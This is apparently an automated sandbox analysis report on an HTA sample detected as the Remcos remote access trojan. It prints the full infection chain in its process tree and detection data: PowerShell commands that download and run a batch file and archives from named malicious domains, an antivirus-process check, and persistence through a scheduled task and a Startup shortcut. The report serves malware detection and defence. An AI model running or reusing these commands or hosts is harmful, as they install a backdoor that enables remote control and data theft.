Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
c.hta

Overview

General Information

Sample name:c.hta
Analysis ID:1589383
MD5:4fadf00aa57b7ca6bcb6b02cb338c0b2
SHA1:ceb81e97c94c5655d1743114044f505184ddead2
SHA256:8da5bb4d9cfd29718720e839bb75ee58f92b6e41f0181b6eede4234d3122dab6
Tags:htauser-abuse_ch
Infos:

Detection

Remcos
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Detected Remcos RAT
Multi AV Scanner detection for dropped file
Sigma detected: Drops script at startup location
Sigma detected: Remcos
Sigma detected: Search for Antivirus process
AI detected suspicious sample
Drops PE files with a suspicious file extension
Drops large PE files
Found API chain indicative of sandbox detection
Installs a global keyboard hook
Loading BitLocker PowerShell Module
Powershell drops PE file
Sigma detected: HackTool - CACTUSTORCH Remote Thread Creation
Sigma detected: Powerup Write Hijack DLL
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: Suspicious Invoke-WebRequest Execution
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious powershell command line found
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript called in batch mode (surpress errors)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • mshta.exe (PID: 7260 cmdline: mshta.exe "C:\Users\user\Desktop\c.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)
    • powershell.exe (PID: 7388 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
      • conhost.exe (PID: 7396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7580 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
        • powershell.exe (PID: 7596 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/W2.pdf -OutFile C:\Users\user\Downloads\W2.pdf" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • Acrobat.exe (PID: 7776 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\W2.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)
          • AcroCEF.exe (PID: 8052 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
            • AcroCEF.exe (PID: 3912 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1576,i,16045763869341166772,13330645250121151550,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)
        • powershell.exe (PID: 7892 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • powershell.exe (PID: 8492 cmdline: powershell -WindowStyle Hidden -Command "Expand-Archive -Path C:\Users\user\AppData\Local\Temp\msword.zip -DestinationPath C:\Users\user\AppData\Local\Temp\msword -Force" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • msword.exe (PID: 8876 cmdline: msword.exe MD5: 0DE162AA65BC5DAE2145333A0D1F8801)
          • cmd.exe (PID: 8940 cmdline: "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 8948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • tasklist.exe (PID: 8996 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 9004 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • tasklist.exe (PID: 9060 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 9068 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 9104 cmdline: cmd /c md 361684 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • extrac32.exe (PID: 9120 cmdline: extrac32 /Y /E Approaches MD5: 9472AAB6390E4F1431BAA912FCFF9707)
            • findstr.exe (PID: 9140 cmdline: findstr /V "Korea" Measurement MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 9156 cmdline: cmd /c copy /b 361684\Propose.com + Different + Constitute + Instantly + Led + Indonesia + Dressing + Missed + Brian + Clinton + Protocol 361684\Propose.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • cmd.exe (PID: 9172 cmdline: cmd /c copy /b ..\Next + ..\Math + ..\Blocked + ..\Leisure + ..\Substantial + ..\Beam + ..\Cocks + ..\David + ..\Undefined + ..\Realm U MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • Propose.com (PID: 9188 cmdline: Propose.com U MD5: 62D09F076E6E0240548C2F837536A46A)
              • cmd.exe (PID: 5796 cmdline: cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                • conhost.exe (PID: 5228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • schtasks.exe (PID: 3096 cmdline: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F MD5: 48C2FE20575769DE916F48EF0676A965)
              • cmd.exe (PID: 6780 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & echo URL="C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                • conhost.exe (PID: 6832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • choice.exe (PID: 9204 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
  • wscript.exe (PID: 7992 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • LinkHub.com (PID: 8412 cmdline: "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y" MD5: 62D09F076E6E0240548C2F837536A46A)
  • wscript.exe (PID: 7260 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • LinkHub.com (PID: 7988 cmdline: "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com" "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\y" MD5: 62D09F076E6E0240548C2F837536A46A)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Remcos, RemcosRATRemcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.
  • APT33
  • The Gorgon Group
  • UAC-0050
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: HackTool - CACTUSTORCH Remote Thread Creation
Source: Threat createdAuthor: @SBousseaden (detection), Thomas Patzke (rule): Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 7260, StartAddress: FB43BCC0, TargetImage: C:\Windows\SysWOW64\mshta.exe, TargetProcessId: 7260
Sigma detected: Powerup Write Hijack DLL
Source: File createdAuthor: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7388, TargetFilename: C:\Users\user\AppData\Local\Temp\c2.bat
Sigma detected: Rare Remote Thread Creation By Uncommon Source Image
Source: Threat createdAuthor: Perez Diego (@darkquassar), oscd.community: Data: EventID: 8, SourceImage: C:\Windows\System32\wscript.exe, SourceProcessId: 7260, StartAddress: FB43BCC0, TargetImage: C:\Windows\SysWOW64\mshta.exe, TargetProcessId: 7260
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, CommandLine: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5796, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, ProcessId: 3096, ProcessName: schtasks.exe
Sigma detected: Suspicious Invoke-WebRequest Execution
Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7260, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", ProcessId: 7388, ProcessName: powershell.exe
Sigma detected: Suspicious MSHTA Child Process
Source: Process startedAuthor: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7260, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", ProcessId: 7388, ProcessName: powershell.exe
Sigma detected: Suspicious Script Execution From Temp Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\c2.bat"", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7580, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri https://myguyapp.com/msword.zip -OutFile C:\Users\user\AppData\Local\Temp\msword.zip", ProcessId: 7892, ProcessName: powershell.exe
Sigma detected: WScript or CScript Dropper
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js", ProcessId: 7992, ProcessName: wscript.exe
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Source: File createdAuthor: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7388, TargetFilename: C:\Users\user\AppData\Local\Temp\c2.bat
Sigma detected: PowerShell Web Download
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7260, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", ProcessId: 7388, ProcessName: powershell.exe
Sigma detected: Suspicious Schtasks From Env Var Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, CommandLine: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5796, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Murray" /tr "wscript //B 'C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js'" /sc minute /mo 5 /F, ProcessId: 3096, ProcessName: schtasks.exe
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7260, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", ProcessId: 7388, ProcessName: powershell.exe
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js", ProcessId: 7992, ProcessName: wscript.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\c.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7260, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:TEMP + '\c2.bat';Invoke-WebRequest -Uri $u -OutFile $o;Start-Process -FilePath $o -NoNewWindow", ProcessId: 7388, ProcessName: powershell.exe

Data Obfuscation

barindex
Sigma detected: Drops script at startup location
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 6780, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url

HIPS / PFW / Operating System Protection Evasion

barindex
Sigma detected: Search for Antivirus process
Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c move Nr Nr.cmd & Nr.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8940, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 9068, ProcessName: findstr.exe

Stealing of Sensitive Information

barindex
Sigma detected: Remcos
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com, ProcessId: 9188, TargetFilename: C:\ProgramData\remcos\logs.dat

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus detection for URL or domain
Source: https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAINAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/W2.pdf8Avira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.ziAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zip:Avira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipsHAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/W2.pdflAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/W2.pdfqHAvira URL Cloud: Label: phishing
Source: https://candwfarmsllc.com/c2.batAvira URL Cloud: Label: malware
Source: https://myguyapp.com/msword.zipurl2=hAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROAAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/mBAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROAMINGPAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipzSAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipiAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipjAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSEAvira URL Cloud: Label: phishing
Source: https://myguyapp.com/W2.pdfxSAvira URL Cloud: Label: phishing
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeReversingLabs: Detection: 15%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 98.1% probability
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004062D5 FindFirstFileW,FindClose,16_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00402E18 FindFirstFileW,16_2_00402E18
